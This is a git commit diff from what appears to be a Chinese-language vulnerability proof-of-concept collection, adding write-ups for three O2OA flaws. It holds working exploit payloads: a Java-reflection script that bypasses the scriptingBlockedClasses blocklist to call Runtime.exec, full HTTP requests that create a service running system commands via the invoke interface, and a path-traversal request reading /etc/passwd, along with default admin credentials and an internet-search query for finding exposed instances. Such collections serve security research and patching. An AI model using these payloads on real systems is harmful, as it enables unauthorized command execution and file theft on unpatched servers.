This commit is contained in:
Threekiii 2025-03-03 09:57:24 +08:00
parent ae49bd83fb
commit 85d69fdd68
25 changed files with 200 additions and 31 deletions

View File

@ -0,0 +1,103 @@
# O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行
## 漏洞描述
O2OA翱途低代码开发平台是一个开源企业协同办公定制平台提供完整的前后端 API 和模块定制能力。
O2OA 9.0.3 版本存在远程代码执行漏洞,平台使用 `scriptingBlockedClasses` 属性值列表作为黑名单过滤器,攻击者可以通过 Java 反射绕过黑名单限制。
参考链接:
- https://github.com/o2oa/o2oa/issues/158
- https://github.com/o2oa/o2oa/issues/159
- https://www.o2oa.net/log/log.html
## 披露时间
2024-06-04
## 漏洞影响
```
O2OA 9.0.3
```
## 环境搭建
在 [官网下载](https://www.o2oa.net/download.html) 一个 9.0.3 版本,本地搭建测试:
```
unzip o2server-9.0.3-linux-x64.zip
cd o2server
./start_linux.sh
```
按照提示进行安装,选择内置 `h2` 数据库:
![](images/O2OA%209.0.3%20版本%20scriptingBlockedClasses%20绕过导致远程代码执行/image-20250227115153709.png)
## 漏洞复现
`xadmin` 身份登录平台,点击 `Service Platform` 进入服务平台:
![](images/O2OA%209.0.3%20版本%20scriptingBlockedClasses%20绕过导致远程代码执行/image-20250227133946590.png)
点击 `Create Agent` 创建一个代理:
![](images/O2OA%209.0.3%20版本%20scriptingBlockedClasses%20绕过导致远程代码执行/image-20250227134017147.png)
填写 `Name``Alias``Time task cron expression` 等必填项,写入 [payload](https://github.com/o2oa/o2oa/issues/158)
```
var a = mainOutput();
function mainOutput() {
var clazz = Java.type("java.lang.Class");
var rt = clazz.forName("java.lang.Runtime");
var stringClazz = Java.type("java.lang.String");
var getRuntimeMethod = rt.getMethod("getRuntime");
var execMethod = rt.getMethod("exec",stringClazz);
var runtimeObject = getRuntimeMethod.invoke(rt);
execMethod.invoke(runtimeObject,"touch /tmp/awesome_poc");
};
```
点击保存。关闭当前窗口,重新进入点击 `Run` 执行:
![](images/O2OA%209.0.3%20版本%20scriptingBlockedClasses%20绕过导致远程代码执行/image-20250227134123509.png)
命令成功执行:
![](images/O2OA%209.0.3%20版本%20scriptingBlockedClasses%20绕过导致远程代码执行/image-20250227134221784.png)
漏洞产生的原因是 9.0.3 版本 `o2server/configSample/general.json` 文件中对类做了黑名单限制,但是攻击者可以通过 Java 反射绕过黑名单中的类:
```
"scriptingBlockedClasses": [
"java.util.zip.ZipOutputStream",
"java.io.RandomAccessFile",
"java.net.Socket",
"java.util.zip.ZipInputStream",
"java.nio.file.Files",
"java.lang.System",
"java.net.URL",
"java.lang.Runtime",
"java.io.FileWriter",
"java.io.FileOutputStream",
"javax.script.ScriptEngineManager",
"java.io.File",
"java.net.ServerSocket",
"java.nio.file.Paths",
"javax.script.ScriptEngine",
"java.util.zip.ZipFile",
"java.lang.ProcessBuilder",
"java.net.URI",
"java.nio.file.Path"
],
```
![](images/O2OA%209.0.3%20版本%20scriptingBlockedClasses%20绕过导致远程代码执行/image-20250227114843307.png)
## 漏洞修复
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html

View File

@ -2,12 +2,20 @@
## 漏洞描述
O2OA是一款开源免费的企业及团队办公平台提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动OA、文档分享、流程审批、数据协作等众多功能满足企业各类管理和协作需求。 O2OA系统invoke 接口存在远程代码执行漏洞。攻击者可利用漏洞执行任意代码。
O2OA 是一款开源免费的企业及团队办公平台,提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动 OA、文档分享、流程审批、数据协作等众多功能满足企业各类管理和协作需求。 O2OA 系统 invoke 接口存在远程代码执行漏洞。攻击者可利用漏洞执行任意代码。此漏洞在 O2OA 7.2.7 版本得到修复。
参考链接:
- https://www.cnvd.org.cn/flaw/show/CNVD-2020-18740
## 披露时间
2020-04-06
## 漏洞影响
```
O2OA
O2OA 6.x
```
## 网络测绘
@ -16,17 +24,29 @@ O2OA
title=="O2OA"
```
## 环境搭建
在 [官网下载](https://www.o2oa.net/download.html) 一个 6.2.0 版本,本地搭建测试:
```
unzip o2server-6.2.0-linux-x64.zip
cd o2server
./start_linux.sh
```
![](images/O2OA%20invoke%20后台远程命令执行漏洞%20CNVD-2020-18740/image-20250228143549531.png)
## 漏洞复现
登录页面
默认密码登录后台 `xadmin/o2`(或 `xadmin/o2oa@2022`),点击 `Service Platform` 进入服务平台:
![image-20220829102732087](images/202208291027154.png)
![](images/O2OA%20invoke%20后台远程命令执行漏洞%20CNVD-2020-18740/image-20250228150153382.png)
默认密码登录后台 `xadmin/o2`
点击 `Create Service` 创建一个服务:
![image-20220829102745518](images/202208291027581.png)
![](images/O2OA%20invoke%20后台远程命令执行漏洞%20CNVD-2020-18740/image-20250228150214613.png)
在应用中找到服务管理,创建接口代码执行系统命令
填写必填项,写入 payload
```
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
@ -41,23 +61,45 @@ var result = { "Result": result };
this.response.setBody(result, "application/json");
```
![image-20220829102805328](images/202208291028397.png)
![](images/O2OA%20invoke%20后台远程命令执行漏洞%20CNVD-2020-18740/image-20250228150105054.png)
请求包
部分版本可以直接执行,有些版本需要构造请求包
```
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA
POST /x_program_center/jaxrs/invoke?v=6.1 HTTP/1.1
Host: 10.0.12.15:20030
Accept: */*
Referer: http://10.0.12.15/
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.0.12.15
authorization: PfyuxmzgIzrLF0IUhEF-rgO3PHNy_z4650QnO7mEHhA
Content-Length: 1048
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}
{"id":"test","name":"test","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2025-02-28 15:54:17","updateTime":"2025-02-28 15:54:17"}
```
![image-20220829102821768](images/202208291028838.png)
![](images/O2OA%20invoke%20后台远程命令执行漏洞%20CNVD-2020-18740/image-20250228160252832.png)
创建成功后访问接口执行系统命令
创建成功后访问接口执行系统命令
```
/x_program_center/jaxrs/invoke/cmd/execute
POST /x_program_center/jaxrs/invoke/test/execute HTTP/1.1
Host: 10.0.12.15:20030
Accept: */*
Referer: http://10.0.12.15/
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Content-Type: application/json; charset=UTF-8
authorization: PfyuxmzgIzrLF0IUhEF-rgO3PHNy_z4650QnO7mEHhA
Content-Length: 1048
```
![image-20220829102832557](images/202208291028615.png)
![](images/O2OA%20invoke%20后台远程命令执行漏洞%20CNVD-2020-18740/image-20250228160439089.png)
## 漏洞修复
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html

View File

@ -2,12 +2,12 @@
## 漏洞描述
O2OA是一款开源免费的企业及团队办公平台提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动OA、文档分享、流程审批、数据协作等众多功能满足企业各类管理和协作需求。 O2OA系统 open 接口存在任意文件读取漏洞。攻击者可利用漏洞读取任意文件。
O2OA 是一款开源免费的企业及团队办公平台,提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动 OA、文档分享、流程审批、数据协作等众多功能满足企业各类管理和协作需求。 O2OA 系统 open 接口存在任意文件读取漏洞。攻击者可利用漏洞读取任意文件。
## 漏洞影响
```
O2OA
O2OA 6.x
```
## 网络测绘
@ -16,19 +16,46 @@ O2OA
title=="O2OA"
```
## 漏洞复现
## 环境搭建
登录页面
![image-20230314090606993](images/image-20230314090606993.png)
默认密码登录后台 xadmin/o2 (o2oa@2022), 验证POC
在 [官网下载](https://www.o2oa.net/download.html) 一个 6.2.0 版本,本地搭建测试:
```
POST /x_program_center/jaxrs/config/open?v=6.3
Authorization: PfyuxmzgIzq74NYhOcQ5NGbegmqb8H4y50QnO7mEHhA
unzip o2server-6.2.0-linux-x64.zip
cd o2server
./start_linux.sh
```
![](images/O2OA%20invoke%20后台远程命令执行漏洞%20CNVD-2020-18740/image-20250228143549531.png)
## 漏洞复现
默认密码登录后台 `xadmin/o2`(或 `xadmin/o2oa@2022`)。
发送数据包:
```
POST /x_program_center/jaxrs/config/open?v=6.3 HTTP/1.1
Host: 10.0.12.15:20030
Accept: */*
Referer: http://10.0.12.15/
Accept-Encoding: gzip, deflate
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.0.12.15
authorization: PfyuxmzgIzrLF0IUhEF-rgO3PHNy_z4650QnO7mEHhA
Content-Length: 1048
{"fileName":"../../../etc/passwd"}
```
![image-20230314090619645](images/image-20230314090619645.png)
![](images/O2OA%20open%20后台任意文件读取漏洞/image-20250228160632284.png)
文件不存在时,响应包:
![](images/O2OA%20open%20后台任意文件读取漏洞/image-20250228160910347.png)
## 漏洞修复
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html

Binary file not shown.

Before

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 164 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 232 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 364 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 432 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 217 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 521 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 353 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 459 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 434 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 365 KiB

View File

@ -111,12 +111,9 @@
* 禅道 V16.5 SQL 注入 CNVD-2022-42853
* 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709
* 齐博CMS V7 job.php 任意文件读取漏洞
- MYPOC
* Cacti 任意文件创建致远程代码执行漏洞 CVE-2025-24367
* Cacti 多行 SNMP 响应验证致代码执行漏洞 CVE-2025-22604
- OA产品漏洞
* O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行
* O2OA invoke 后台远程命令执行漏洞 CNVD-2020-18740
* O2OA open 后台任意文件读取漏洞
* 一米OA getfile.jsp 任意文件读取漏洞